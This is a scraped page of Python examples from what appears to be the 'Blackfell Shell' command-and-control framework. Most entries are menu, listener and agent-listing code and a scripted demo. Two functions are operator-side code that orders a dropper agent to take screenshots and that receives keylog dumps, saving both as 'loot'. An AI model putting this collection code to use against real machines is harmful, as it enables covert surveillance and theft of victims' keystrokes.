Ejemplo n.º 1
0
def main(agent, args=None):
    """Order and receive screenshots from dropper, displays if requested"""

    try:
        settings = parse_args(agent, args)
        if not settings:
            bc.err("Error parsing args : {}".format(settings))
            return
        #Setup out-file
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        file_name = agent.listener.loot_dir + 'screenshot' + '-' + agent.name + timestamp + '.png'
        #receive the file!
        gotsz = False
        raw_bytes = b''

        #Get the agent to screenshot
        agent.send('screenshot')
        while True:
            chunk = agent.recv(print_flag=False, blocking=False)
            try:
                if not chunk:
                    continue
                if not gotsz:
                    size = chunk[8:].decode()  #Size tuple as string
                    size = (int(size.split(',')[0]), int(size.split(',')[1]))
                    gotsz = True
                    #print("DEBUG - Img size : {}".format(size))
                elif chunk.endswith(b'<BSEOF>'):
                    raw_bytes += chunk[:-7]
                    break
                else:
                    raw_bytes += chunk
                    #Status info
            except Exception as e:
                bc.err(
                    "Download screnshot chunk failed because : {}. Try again?".
                    format(e))
                break

        #Reconstruct the image from raw raw bytesb
        bc.info("Reconstructing image.")
        img = Image.frombytes('RGB', size, raw_bytes)

        if settings['show']:
            img.show()
        img.save(file_name)
        img.close()

        bc.green_print(
            "\n[+] ",
            "{} - screenshot saved to : {}".format(agent.name, file_name))
    except Exception as e:
        bc.err_print("\n[!] ",
                     "{} Screenshot failed : {}".format(agent.name, e))
        #Flush socket
        chunk = b''
        while b'<BSEOF>' not in chunk:
            chunk = agent.recv(print_flag=False, blocking=False)
Ejemplo n.º 2
0
def get_keylog_dump(agent, show=False):
    """REceive large amounts of keylog data by looping recieve function"""

    try:
        #Setup out-file
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        file_name = agent.listener.loot_dir + 'keylog' + '-' + agent.name + timestamp + '.txt'
        #receive the file!
        raw_bytes = b''
        while True:
            chunk = agent.recv(print_flag=False, blocking=False)
            try:
                if not chunk:
                    #bc.info("Empty chunk, passing")
                    continue
                if chunk.endswith(b'<BSEOF>'):
                    chunk = chunk[:-7]
                    raw_bytes += chunk
                    break
                elif b'BSEOF' in chunk:
                    bc.err(
                        'Dump failed, unexpected EOF location in:\n{}.'.format(
                            chunk))
                    raise ValueError("Out of place <BSEOF>")
                    break  #It's all over now
                else:
                    raw_bytes += chunk
                    #Status info
            except Exception as e:
                bc.err(
                    "Keylog dump chunk failed because : {}. Try again?".format(
                        e))
                return
            #gracefully stop download operation
            finally:
                chunk = ''
        #REconstruct the image from raw raw bytes
        dump = degzip(raw_bytes)
        with open(file_name, 'w') as f:
            f.write(dump.decode())
        bc.green_print(
            "\n[+] ",
            "{} - Keylog dump saved to : {}".format(agent.name, file_name))
        if show:
            bc.success("{} keylog data:\n".format(agent.name), False)
            print(dump.decode())
        return True
    except Exception as e:
        bc.err_print("\n[!] ",
                     "{} Keylog dump failed : {}".format(agent.name, e))
        return False
Ejemplo n.º 3
0
def main():
    """Function that runs the Blackfell Shell C2, including setting up modules etc."""

    colorama.init()  #Ansi escape codes in Windows!
    args = get_args()
    check_root(args.noconfirm)

    ## Run the shell
    bs = home.BSMainMenu()

    if sys.platform == 'linux':
        #Setup PATH to point to requirements - usually in ~/.local/bin
        os.environ[
            'PATH'] = os.environ['HOME'] + '/.local/bin:' + os.environ['PATH']

    #Handle resource files
    if args.resource_file:
        #Declare to interpreter that we're running a resource file
        bs.q['read'].put("RESOURCE")
        #Run interpreter as a thread
        t = threading.Thread(target=bs.cmdloop)
        t.start()
        with open(args.resource_file, 'r') as f:
            """Pipe commands via stdin, can't use standard run utils because
            we're using nested interpreters"""
            sys.stdin = f
            """Stdin doesn't reassign properly until a keypress don't ask me
            why it just doesn't OK? This is a workaround to get the interpreter
            to start. If it's stupid and it works, it's not stupid. Mostly."""
            kbd = keyboard.Controller()
            kbd.press(keyboard.Key.enter)
            kbd.release(keyboard.Key.enter)
            #Read all the lines of resource file, then back to normal
            while True:
                #Now check if resource file done and if so, reset stdin
                if not bs.q['write'].empty() and bs.q['write'].get() == "DONE":
                    bc.green_print("[+] ", " - Resource file complete.")
                    sys.stdin = sys.__stdin__
                    break
                else:
                    #Not done yet
                    time.sleep(0.1)
    else:
        #bs.cmdloop()
        # The real thing to be done once done developing!
        try:
            bs.cmdloop()
        except Exception as e:
            print("Exception in loop : {} ".format(e))
            bc.err_print("[!] ", "- Exiting.")
Ejemplo n.º 4
0
    def do_reset(self, line):
        """sets an option back to the option configured as module default"""

        #No parsing required as no arguments for this one
        try:
            if self.module_instance.reset_option(line):
                #TODO - do menu - side verification of this
                #Like - if self.module_instance.set_attr(cmd, args) and getattr(self.module_instance.options, cmd)['value'] == args:
                bc.green_print("[-] ", "- Reset successfully.")
            else:
                bc.err_print("\n[!] ",
                             "- Error, {} could not be reset.\n".format(line))
        except Exception as e:
            bc.err_print(
                "\n[!] ",
                "- Exception whilst resetting {}:\n{}\n".format(cmd, e))
Ejemplo n.º 5
0
    def do_execute(self, line):
        """runs the module, calling requirement checks and setup functions
        beforehand. Will exit if checks return False"""

        bc.blue_print("[-] ", "- Seting up module...".format(line))
        if not self.module_instance.check_required():
            bc.err_print("[!] ",
                         "- Execute failed. Some required options not set.")
            return
        if not self.module_instance.setup():
            bc.err_print("[!] ", "- Module test, failed.")
            return
        bc.green_print("[!] ", "- Setup complete. Executing...")
        if self.module_instance.run():
            #Exit on true was set, module will return true and module menu will be exited.
            return True
Ejemplo n.º 6
0
    def list_listeners(self):
        """List out just listeners, including printing them out"""

        bc.green_print("\n[-] ", "Listeners:\n")
        w, h = os.get_terminal_size()
        w = 0.9 * w  #Scale for beauty
        format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
            int(0.35 * w), int(0.2 * w), int(0.1 * w), int(0.35 * w))
        #format_string = "{:<40} {:<20} {:<10} {:<20}"
        underline = "=" * int(w)
        bc.bold_print(format_string.format("Name", "Status", "Agents", "Info"),
                      "")
        bc.blue_print(underline, "")
        for l in self.root_menu.listeners:
            print(
                format_string.format(l.name,
                                     'Alive' if l.is_alive() == 1 else 'Dead',
                                     len(l.agent_list),
                                     str(l.LHOST) + ':' + str(l.LPORT)))
        print("")
Ejemplo n.º 7
0
    def do_set(self, line):
        """Set a module option, using the set_option method
        in the module itself"""

        cmd, args, line = self.parseline(line)
        try:
            if self.module_instance.set_option(cmd, args) and args:
                #TODO - do menu - side verification of this
                #Like - if self.module_instance.set_attr(cmd, args) and getattr(self.module_instance.options, cmd)['value'] == args:
                bc.green_print(
                    "[-] ", "- {} set successfully to {}.".format(cmd, args))
            elif not args:
                bc.warn_print("[!] ", "- No value provided.")
            else:
                bc.err_print(
                    "[!] ",
                    "- Error, {} could not be set to {}".format(cmd, args))
        except Exception as e:
            bc.err_print("\n[!] ",
                         "- Exception whilst setting {}:\n{}\n".format(cmd, e))
Ejemplo n.º 8
0
    def list_agents(self):
        """List out just agents, including printing them out."""

        bc.green_print("\n[-] ", "Agents:\n")
        w, h = os.get_terminal_size()
        w = 0.9 * w  #Scale for beauty
        format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
            int(0.3 * w), int(0.1 * w), int(0.2 * w), int(0.1 * w),
            int(0.3 * w))
        #format_string = "{:<30} {:<10} {:20} {:<10} {:<30}"
        underline = "=" * int(w)
        bc.bold_print(
            format_string.format("Name", "Activated", "Listener", "Status",
                                 "Info"), "")
        bc.blue_print(underline, "")
        for l in self.root_menu.listeners:
            for a in l.agent_list:
                print(
                    format_string.format(
                        str(a.name), str(a.active), str(a.listener.name),
                        'Alive' if a.is_alive() == 1 else 'Dead',
                        str(a.ip) + ":" + str(a.port)))
        print("")
Ejemplo n.º 9
0
    def run(self):
        """Main module code, called when the module is executed
        This module prints user provided messages to the console"""

        bc.success("Print incoming!")
        #Override with what to do with this class when it runs
        for time in range(self.options['num_prints']['value']):
            if self.get_option('color') == 'red':
                bc.err_print(self.options['message']['value'], '')
            elif self.get_option('color') == 'orange':
                bc.warn_print(self.options['message']['value'], '')
            elif self.get_option('color') == 'blue':
                bc.blue_print(self.options['message']['value'], '')
            elif self.get_option('color') == 'green':
                bc.green_print(self.options['message']['value'], '')
            else:
                print(self.get_option('message'))
        #Success variable can be used to check if sub-modules ran successfully
        #Unused in this case, but important if we don't want to exit failed modules.
        success = True
        if bool(self.get_option('exit_on_exec')) == True and success:
            bc.success("Module executed, exiting.")
            return True
Ejemplo n.º 10
0
    def run(self):
        col = self.color['value']
        msg = self.message['value']
        bc.green_print("[!] ", "- Print incoming!")
        #Override with what to do with this class when it runs
        for time in range(self.num_prints['value']):
            if col == 'red':
                bc.err_print(msg, "")
            elif col == 'orange':
                bc.warn_print(msg, "")
            elif self.color['value'] == 'blue':
                bc.blue_print(msg, "")
            elif self.color['value'] == 'green':
                bc.green_print(msg, "")
            else:
                print(msg)

        if bool(self.exit_on_exec['value']) == True:
            bc.green_print("[!] ", "- Module executed, exiting.")
            return True
Ejemplo n.º 11
0
    def print_loaded_methods(self):
        """Rationalises and prints methods loaded into the agents
        REports on any descrepancies to the user between agents."""

        bc.green_print("[-] ", "Menu options:\n")
        format_string = "\t{:<15} {:<50}"
        underline = "\t" + "=" * 70
        bc.bold_print(format_string.format("Method", "Description"), "")
        bc.blue_print(underline, "")
        for nme, hlp in self.methods.items():
            print(format_string.format(str(nme[3:]), hlp))
        bc.green_print("\n[-] ", "Loaded agent options:")

        self.check_loaded()
        for mod, meths in self.loaded_methods.items():
            bc.green_print("\n\t[-] ", "{} Methods:\n".format(mod.title()))
            bc.bold_print(format_string.format("Method", "Description"), "")
            bc.blue_print(underline, "")
            for meth in meths:
                print(format_string.format(meth[0], meth[1]))
        print("")
Ejemplo n.º 12
0
    def run(self):
        """Override with what to do with this class when it runs"""
        bc.green_print("[!] ", "- Module running!")

        if self.exit_on_exec == True:
            bc.green_print("[!] ", "- Module executed.")
Ejemplo n.º 13
0
def demo():
    """Print a series of demo BShell commands to console"""

    w, h = os.get_terminal_size()
    w = 0.9 * w  #Scale for beauty

    bc.info(
        "The BlackfellShell can be used to run any python module written for it, but the key functionality it allows is running agents."
    )
    time.sleep(5)
    bc.info("All modules are called using the keyword 'use' like this:")
    time.sleep(5)
    print("BS >\r", end="")
    time.sleep(1)
    fake_type('BS > ', 'use auxiliary/example')
    print("")
    bc.info("Using module:  auxiliary/example")
    print("""
    Example module, for use in understanding the BShell.

    Hello world within the BShell. Prints your message a number of times.
    num_repeats must be a string.
    color can be green, red, orange or blue.
    """)
    print("BS : " + bc.green_format("modules/auxiliary/example", "") + " >")
    time.sleep(10)
    bc.info("Once you've activated a module, you'll switch to a new menu.")
    time.sleep(2)
    bc.info("This new menu will allow you to configure and run the module.")
    time.sleep(2)
    bc.info("Start by getting module info:")
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'None', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(5)
    bc.info("Each option in the module can be set with the 'set' keyword")
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set color red')
    print("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ")
    time.sleep(4)
    bc.info("Let's check it made a change.")
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    bc.info("Showing info for module:\n")

    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'red', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(4)
    bc.info(
        "If you didn't like that, the reset keyword will set options back to default."
    )
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'reset color')
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    time.sleep(1)
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'None', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(4)
    bc.info("You must set all required options.")
    time.sleep(4)
    bc.info(
        "Modules will test for required options, and maybe other things when they run."
    )
    time.sleep(4)
    bc.info("Let's configure the rest of this module now.")
    time.sleep(5)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set message Hello, World.')
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set color red')
    time.sleep(2)
    bc.info(
        "You can use tab completion on most settings, just hit tab once you've started typing."
    )
    time.sleep(5)
    message = "BS : " + bc.green_format("modules/auxiliary/example",
                                        "") + " > "
    for i in 'set nu':
        message += i
        print('{}\r'.format(message), end="")
        time.sleep(0.1)
    time.sleep(1)
    print('{}<TAB>\r'.format(message), end="")
    time.sleep(0.5)
    print('{}<TAB>\r'.format(message), end="")
    time.sleep(1)
    message = message + 'm_prints'
    print('{}\r'.format(message), end="")
    time.sleep(4)
    fake_type(message, ' 8')
    time.sleep(4)
    print("")
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    time.sleep(1)
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'Hello, World.', 'None', 'True'],
               ['num_prints', '8', 'None', 'True'],
               ['color', 'red', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(5)
    bc.info(
        "Now you're all configured, you can run the module with the 'execute' keyword"
    )
    time.sleep(5)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'execute')
    time.sleep(1)
    bc.info("Setting up module...")
    bc.success("Setup complete. Executing...")
    bc.green_print("[-] ", "Print incoming!")
    for i in range(8):
        bc.err_print("Hello, World.", "")
    bc.green_print("[-] ", "Module executed, exiting.")
    time.sleep(5)
    bc.info(
        "Most commands have help messages you can use, just type help in any menu."
    )
    time.sleep(3)
    bc.success("Good luck!")